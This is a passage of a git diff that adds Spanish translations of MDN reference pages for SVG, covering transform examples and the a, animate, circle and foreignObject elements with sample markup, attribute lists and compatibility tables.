+<p>Here is a basic example to understand a general transformation. We consider the transform <code>matrix(1,2,3,4,5,6)</code> and draw a thick blue line from (10,20) to (30,40) in the new coordinate system. A thin white line with the same end points is drawn above it using the original coordinate system.</p>
+
+<pre class="brush: html">&lt;svg width="160" height="230" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;g transform="matrix(1,2,3,4,5,6)"&gt;
+    &lt;!-- New coordinate system (thick blue line)
+         x1 = 10 | x2 = 30
+         y1 = 20 | y2 = 40
+      --&gt;
+    &lt;line x1="10" y1="20" x2="30" y2="40" style="stroke-width: 10px; stroke: blue;"/&gt;
+  &lt;/g&gt;
+
+  &lt;!-- Previous coordinate system (thin white line)
+       x1 = 1 * 10 + 3 * 20 + 5 = 75  | x2 = 1 * 30 + 3 * 40 + 5 = 155
+       y1 = 2 * 10 + 4 * 20 + 6 = 106 | y2 = 2 * 30 + 4 * 40 + 6 = 226
+    --&gt;
+  &lt;line x1="75" y1="106" x2="155" y2="226" style="stroke-width: 1px; stroke: white;"/&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('General_Transformation','200px','250px') }}</p>
+
+<h3 id="Illustration_of_Text_at_the_Same_Position_Rotated_Around_Different_Points">Illustration of Text at the Same Position Rotated Around Different Points</h3>
+
+<p>All text examples in the SVG below have the same positioning on the page (<code>x="200" y="0"</code>), and all are rotated at 45°. The only difference is the point that anchors the rotation.</p>
+
+<pre class="brush: html">&lt;svg viewBox="-20 -20 820 420" xmlns="http://www.w3.org/2000/svg" width="800" height="400"&gt;
+
+  &lt;text x="200" y="0"&gt;...unrotated text; same starting position as examples below (in all cases: x="200" y="0")&lt;/text&gt;
+
+  &lt;circle cx="200" cy="0" r="2" style="stroke: green; stroke-width: 1; fill: green;" /&gt;
+  &lt;text x="200" y="0" transform="rotate(45 200,0)" style="fill: green;" &gt;...(1) rotate(45 200,0) (rotated 45° around a point at 200,0)&lt;/text&gt;
+
+  &lt;circle cx="100" cy="0" r="2" style="stroke: blue; stroke-width: 1; fill: blue;" /&gt;
+  &lt;path d="M 200,0 A 100,100 0 0,1 0,0" style="stroke: blue; stroke-width: 1; fill: transparent;" /&gt;
+  &lt;text x="200" y="0" transform="rotate(45 100,0)" style="fill: blue;"&gt;...(2) rotate(45 100,0) (rotated 45° around a point at 100,0)&lt;/text&gt;
+
+  &lt;circle cx="0" cy="0" r="2" style="stroke: red; stroke-width: 1; fill: red;" /&gt;
+  &lt;path d="M 200,0 A 200,200 0 0,1 0,200" style="stroke: red; stroke-width: 1; fill: transparent;" /&gt;
+  &lt;text x="200" y="0" transform="rotate(45 0,0)" style="fill: red;" &gt;...(3) rotate(45 0,0) (rotated 45° around a point at 0,0)&lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Illustration_of_Text_at_the_Same_Position_Rotated_Around_Different_Points", 800, 400)}}</p>
+
+<h2 id="Elements">Elements</h2>
+
+<p>The following elements can use the <code>transform</code> attribute:</p>
+
+<ul>
+ <li>{{ SVGElement("a") }}</li>
+ <li>{{ SVGElement("clipPath") }}</li>
+ <li>{{ SVGElement("defs") }}</li>
+ <li>{{ SVGElement("foreignObject") }}</li>
+ <li>{{ SVGElement("g") }}</li>
+ <li>{{ SVGElement("switch") }}</li>
+ <li>{{ SVGElement("use") }}</li>
+ <li>{{ SVGElement("svg") }} (SVG 2 onwards)</li>
+ <li><a href="/en/SVG/Element#Graphics" title="en/SVG/Element#Graphics">Graphics elements</a> »</li>
+</ul>
diff --git a/files/es/web/svg/element/a/index.html b/files/es/web/svg/element/a/index.html
new file mode 100644
index 0000000000..2377b690f7
--- /dev/null
+++ b/files/es/web/svg/element/a/index.html
@@ -0,0 +1,145 @@
+---
+title: <a>
+slug: Web/SVG/Element/a
+translation_of: Web/SVG/Element/a
+---
+<div>{{SVGRef}}</div>
+
+<p>El elemento SVG &lt;a&gt; crea un hipervínculo a otras páginas web, archivos, ubicaciones dentro de la misma página, direcciones de correo electrónico o cualquier otra URL.</p>
+
+<p>En SVG, el elemento &lt;a&gt; es un contenedor, es decir, puede crear un enlace alrededor del texto, como en HTML, pero también puede crear un enlace alrededor de cualquier forma.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">@namespace svgns url(http://www.w3.org/2000/svg);
+html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;!-- Un vínculo alrededor de una forma --&gt;
+  &lt;a href="https://developer.mozilla.org/docs/Web/SVG/Element/circle"&gt;
+    &lt;circle cx="50" cy="40" r="35"/&gt;
+  &lt;/a&gt;
+
+  &lt;!-- Un vínculo alrededor de una forma --&gt;
+  &lt;a href="https://developer.mozilla.org/docs/Web/SVG/Element/circle"&gt;
+    &lt;text x="50" y="90" text-anchor="middle"&gt;
+      &amp;lt;circle&amp;gt;
+    &lt;/text&gt;
+  &lt;/a&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: css">/* Como SVG no proporciona un estilo visual predeterminado para los enlaces,
+   se considera una práctica recomendada agregar algunos */
+
+@namespace svgns url(http://www.w3.org/2000/svg);
+
+svgns|a {
+  cursor: pointer;
+}
+
+svgns|a text {
+  fill: blue; /* Incluso para el texto, SVG usa fill para el color */
+  text-decoration: underline;
+}
+
+svgns|a:hover, svgns|a:active {
+  outline: dotted 1px blue;
+}</pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, 100)}}</p>
+</div>
+
+<div class="warning">
+<p>Puesto que este elemento comparte su nombre de etiqueta con el <a href="/en-US/docs/Web/HTML/Element/a">elemento <code>&lt;a&gt;</code>de HTML</a>, la selección de "<code>a</code>" con CSS o <a href="/en-US/docs/Web/API/Document/querySelector"><code>querySelector</code></a> puede aplicarse al tipo incorrecto de elemento. Pruebe <a href="/en-US/docs/Web/CSS/@namespace">la regla <code>@namespace</code></a> para distinguir entre los dos.</p>
+</div>
+
+<h2 id="Atributos">Atributos</h2>
+
+<dl>
+ <dt>{{htmlattrxref("download", "a")}} {{experimental_inline}}</dt>
+ <dd>Este atributo indica a los navegadores que descarguen un {{Glossary ( "URL ")}} en lugar de desplazarse a él, por lo que se le pedirá al usuario que lo guarde como un archivo local.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{SVGAttr("href")}}</dt>
+ <dd>Este atributo contiene el {{Glossary ( "URL ")}} o el fragmento de URL al que apunta el hipervínculo.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#URL">&lt;URL&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("hreflang", "a")}}</dt>
+ <dd>This attribute contains the URL or URL fragment that the hyperlink points to.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("ping", "a")}} {{experimental_inline}}</dt>
+ <dd>Este atributo contiene una lista de direcciones URL separadas por espacios a las que, cuando se sigue el hipervínculo, las solicitudes <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST" title="The HTTP POST method sends data to the server. The type of the body of the request is indicated by the Content-Type header."><code>POST</code></a> con el cuerpo <code>PING</code> serán enviadas por el navegador (en segundo plano). Normalmente se utiliza para el seguimiento. Para obtener una característica más ampliamente admitida que aborde los mismos casos de uso, consulte <a href="/en-US/docs/Web/API/Navigator/sendBeacon">Navigator.sendBeacon()</a>.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-URLs&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{htmlattrxref("referrerpolicy", "a")}} {{experimental_inline}}</dt>
+ <dd>Este atributo indica qué <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer">referrer</a> se enviará al obtener {{Glossary("URL")}}.<br>
+ <small><em>Value type</em>: <code>no-referrer</code>|<code>no-referrer-when-downgrade</code>|<code>same-origin</code>|<code>origin</code>|<code>strict-origin</code>|<code>origin-when-cross-origin</code>|<code>strict-origin-when-cross-origin</code>|<code>unsafe-url</code> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>no</strong></small></dd>
+ <dt>{{htmlattrxref("rel", "a")}} {{experimental_inline}}</dt>
+ <dd>Este atributo especifica la relación del objeto de destino con el vínculado.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/HTML/Link_types">&lt;list-of-Link-Types&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("target")}}</dt>
+ <dd>Este atributo especifica dónde mostrar el {{Glossary("URL")}}.<br>
+ <small><em>Value type</em>: <code>_self</code>|<code>_parent</code>|<code>_top</code>|<code>_blank</code>|<strong>&lt;name&gt;</strong> ; <em>Default value</em>: <code>_self</code>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{htmlattrxref("type", "a")}}</dt>
+ <dd>Este atributo especifica el tipo de medio en forma de un {{Glossary ( "tipo MIME ")}} para la dirección URL vinculada.<br>
+ <small><em>Value type</em>: <strong>&lt;string&gt;</strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+ <dt>{{SVGAttr("xlink:href")}} {{deprecated_inline("SVG2")}}</dt>
+ <dd>Este atributo contiene la dirección URL o el fragmento de URL al que apunta el hipervínculo.<br>
+ <small><em>Value type</em>: <strong><a href="/docs/Web/SVG/Content_type#URL">&lt;URL&gt;</a></strong> ; <em>Default value</em>: <em>none</em>; <em>Animatable</em>: <strong>yes</strong></small></dd>
+</dl>
+
+<h3 id="Atributos_globales">Atributos globales</h3>
+
+<dl>
+ <dt><a href="/docs/Web/SVG/Attribute/Core">Atributos principales</a> </dt>
+ <dd><small>Especialmente: {{SVGAttr('id')}}, {{SVGAttr('lang')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Styling">Atributos de estilo</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Conditional_Processing">Atributos de procesamiento condicional</a></dt>
+ <dd><small>Especialmente: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Atributos de evento</dt>
+ <dd><small><a href="/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Atributos de eventos globales</a>, <a href="/docs/Web/SVG/Attribute/Events#Document_Element_Event_Attributes">atributos de eventos de elementos de documento</a>, <a href="/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">atributos de eventos gráficos</a></small></dd>
+ <dt><a href="/docs/Web/SVG/Attribute/Presentation">Atributos de presentación</a></dt>
+ <dd><small>Especialmente: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Atributos XLink</dt>
+ <dd><small>Most notably: {{SVGAttr("xlink:title")}}</small></dd>
+ <dt>Atributos ARIA</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentatio</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Añadido el atributo <code>referrerpolicy</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "linking.html#Links", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Se sustituye el atributo {{SVGAttr("xlink:href")}} por {{SVGAttr("href")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "linking.html#Links", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir a los datos, haz un check out de <a href="https://ssl.microsofttranslator.com/bv.aspx?from=&amp;to=es&amp;a=https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("svg.elements.a")}}</p>
diff --git a/files/es/web/svg/element/animate/index.html b/files/es/web/svg/element/animate/index.html
new file mode 100644
index 0000000000..962a535446
--- /dev/null
+++ b/files/es/web/svg/element/animate/index.html
@@ -0,0 +1,109 @@
+---
+title: <animate>
+slug: Web/SVG/Element/animate
+translation_of: Web/SVG/Element/animate
+---
+<div>{{SVGRef}}</div>
+
+<div>El elemento <code>animate</code> de SVG se utiliza para animar un atributo o propiedad a través del tiempo. Normalmente se inserta dentro del elemento o referenciado con el atributo <code>href</code>.</div>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_globales">Atributos globales</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Conditional_processing_attributes">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Core_attributes">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation_event_attributes">Animation event attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#XLink_attributes">Xlink attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#AnimationAttributeTarget">Animation attribute target attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation_timing_attributes">Animation timing attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation_value_attributes">Animation value attributes</a> »</li>
+ <li><a href="/en-US/docs/Web/SVG/Attribute#Animation_addition_attributes">Animation addition attributes</a> »</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Atributos_específicos">Atributos específicos</h3>
+
+<ul>
+ <li>{{SVGAttr("attributeName")}}</li>
+ <li>{{SVGAttr("attributeType")}}</li>
+ <li>{{SVGAttr("from")}}</li>
+ <li>{{SVGAttr("to")}}</li>
+ <li>{{SVGAttr("dur")}}</li>
+ <li>{{SVGAttr("repeatCount")}}</li>
+</ul>
+
+<h2 id="DOM">DOM</h2>
+
+<p>Este elemento implementa la interfaz de <code><a href="/en-US/docs/Web/DOM/SVGAnimateElement">SVGAnimateElement</a></code>.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html; highlight[6-7]">&lt;?xml version="1.0"?&gt;
+&lt;svg width="120" height="120" viewBox="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="100" height="100"&gt;
+    &lt;animate attributeType="XML" attributeName="x" from="-100" to="120"
+        dur="10s" repeatCount="indefinite"/&gt;
+  &lt;/rect&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Ejemplo", 120, 120)}}</p>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<p>Las animaciones titilantes e intermitentes pueden causar dificultades a las personas con discapacidades cognitivas como Trastorno por Déficit de Atención con Hiperactividad (ADHD) además de causar ataques a personas con cinestosis, epilepsia, migranias o <span class="short_text" id="result_box" lang="es"><span>síndrome de sensibilidad escotópica</span></span>.</p>
+
+<p>Por favor, considerá ofrecer un mecanismo para pausar o deshabilitar las animaciones, como utilizando <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion">Reduced Motion Media Query.</a></p>
+
+<p>Para más información (en inglés):</p>
+
+<ul>
+ <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity">Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article </a></li>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An Introduction to the Reduced Motion Media Query | CSS-Tricks</a></li>
+ <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/">Responsive Design for Motion | WebKit</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Animations 2", "#AnimateElement", "&lt;animate&gt;")}}</td>
+   <td>{{Spec2("SVG Animations 2")}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "animate.html#AnimateElement", "&lt;animate&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("svg.elements.animate")}}</p>
+</div>
diff --git a/files/es/web/svg/element/circle/index.html b/files/es/web/svg/element/circle/index.html
new file mode 100644
index 0000000000..36b4f9e6c2
--- /dev/null
+++ b/files/es/web/svg/element/circle/index.html
@@ -0,0 +1,116 @@
+---
+title: circle
+slug: Web/SVG/Element/circle
+tags:
+  - Elemento
+  - Gráficos SVG
+  - Referencia
+  - SVG
+translation_of: Web/SVG/Element/circle
+---
+<div>{{SVGRef}}</div>
+
+<p>El elemento <span style="font-family: consolas,monaco,andale mono,monospace;">circle </span>es una forma básica de SVG, usada para crear circulos a partir de un punto, el cual indica el centro del circulo, y un radio.</p>
+
+<h2 id="Contexto_de_uso">Contexto de uso</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p> </p>
+
+<pre class="brush: xml line-numbers  language-xml"><code class="language-xml"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 120 120<span class="punctuation token">"</span></span> <span class="attr-name token">version</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1.1<span class="punctuation token">"</span></span>
+  <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>circle</span> <span class="attr-name token">cx</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">cy</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">r</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>50<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p> </p>
+
+<p>» <a href="https://mdn.mozillademos.org/files/7707/circle2.svg">circulo.svg</a></p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<h3 id="Atributos_globales">Atributos globales</h3>
+
+<ul>
+ <li><a href="/en/SVG/Attribute#ConditionalProccessing">Atributos de procesamiento condicional</a> »</li>
+ <li><a href="/en/SVG/Attribute#Core">Atributos principales</a> »</li>
+ <li><a href="/en/SVG/Attribute#GraphicalEvent">Atributos de eventos gráficos</a> »</li>
+ <li><a href="/en/SVG/Attribute#Presentation">Atributos de presentación</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Atributos_específicos">Atributos específicos</h3>
+
+<ul>
+ <li>{{ SVGAttr("cx") }}</li>
+ <li>{{ SVGAttr("cy") }}</li>
+ <li>{{ SVGAttr("r") }}</li>
+</ul>
+
+<h2 id="Interfaz_DOM">Interfaz DOM</h2>
+
+<p>Este elemento implementa la interfaz {{ domxref("SVGCircleElement") }}.</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th scope="col">Chrome</th>
+   <th scope="col">Firefox (Gecko)</th>
+   <th scope="col">Internet Explorer</th>
+   <th scope="col">Opera</th>
+   <th scope="col">Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop('1.8') }}</td>
+   <td>{{ CompatIE('9.0') }}</td>
+   <td>{{ CompatOpera('8.0') }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatAndroid('3.0') }}</td>
+   <td>{{ CompatGeckoMobile('1.8') }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>La gráfica está basada en <a href="/en-US/docs/Web/SVG/Compatibility_sources">estas fuentes</a>.</p>
+
+<h2 id="Relacionado">Relacionado</h2>
+
+<ul>
+ <li>{{ SVGElement("ellipse") }}</li>
+</ul>
diff --git a/files/es/web/svg/element/foreignobject/index.html b/files/es/web/svg/element/foreignobject/index.html
new file mode 100644
index 0000000000..ea64360cbb
--- /dev/null
+++ b/files/es/web/svg/element/foreignobject/index.html
@@ -0,0 +1,133 @@
+---
+title: foreignObject
+slug: Web/SVG/Element/foreignObject
+translation_of: Web/SVG/Element/foreignObject
+---
+<div>{{SVGRef}}</div>
+
+<p>El elemento <code>foreignObject</code> permite la inclusión de un namespace XML externo que tiene su contenido gráfico dibujado por un diferente user-agent. El contenido gráfico externo incluido está sujeto a las transformaciones SVG y composición.</p>
+
+<p>The contents of <code>foreignObject</code> are assumed to be from a different namespace. Any SVG elements within a <code>foreignObject</code> will not be drawn, except in the situation where a properly defined SVG subdocument with a proper <code>xmlns</code> attribute specification is embedded recursively. One situation where this can occur is when an SVG document fragment is embedded within another non-SVG document fragment, which in turn is embedded within an SVG document fragment (e.g., an SVG document fragment contains an XHTML document fragment which in turn contains yet another SVG document fragment).</p>
+
+<p>Usually, a <code>foreignObject</code> will be used in conjunction with the {{ SVGElement("switch") }} element and the {{ SVGAttr("requiredExtensions") }} attribute to provide proper checking for user agent support and provide an alternate rendering in case user agent support is not available.</p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: xml">&lt;svg width="400px" height="300px" viewBox="0 0 400 300"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;desc&gt;This example uses the 'switch' element to provide a
+        fallback graphical representation of a paragraph, if
+        XHTML is not supported.&lt;/desc&gt;
+
+  &lt;!-- The 'switch' element will process the first child element
+       whose testing attributes evaluate to true.--&gt;
+  &lt;switch&gt;
+
+    &lt;!-- Process the embedded XHTML if the requiredExtensions attribute
+         evaluates to true (i.e., the user agent supports XHTML
+         embedded within SVG). --&gt;
+    &lt;foreignObject width="100" height="50"
+                   requiredExtensions="<span id="the-code"><span class="s">http://www.w3.org/1999/xhtml</span></span>"&gt;
+      &lt;!-- XHTML content goes here --&gt;
+      &lt;body xmlns="http://www.w3.org/1999/xhtml"&gt;
+        &lt;p&gt;Here is a paragraph that requires word wrap&lt;/p&gt;
+      &lt;/body&gt;
+    &lt;/foreignObject&gt;
+
+    &lt;!-- Else, process the following alternate SVG.
+         Note that there are no testing attributes on the 'text' element.
+         If no testing attributes are provided, it is as if there
+         were testing attributes and they evaluated to true.--&gt;
+    &lt;text font-size="10" font-family="Verdana"&gt;
+      &lt;tspan x="10" y="10"&gt;Here is a paragraph that&lt;/tspan&gt;
+      &lt;tspan x="10" y="20"&gt;requires word wrap.&lt;/tspan&gt;
+    &lt;/text&gt;
+  &lt;/switch&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="Attributes">Attributes</h2>
+
+<h3 id="Global_attributes">Global attributes</h3>
+
+<ul>
+ <li><a href="/en-US/docs/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing">Conditional processing attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Core attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#GraphicalEvent" title="en/SVG/Attribute#GraphicalEvent">Graphical event attributes</a> »</li>
+ <li><a href="/en-US/docs/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation ">Presentation attributes</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Specific_attributes">Specific attributes</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+</ul>
+
+<h2 id="DOM_Interface">DOM Interface</h2>
+
+<p>This element implements the <code><a href="/en-US/docs/DOM/SVGForeignObjectElement" title="en/DOM/SVGForeignObjectElement">SVGForeignObjectElement</a></code> interface.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.9</td>
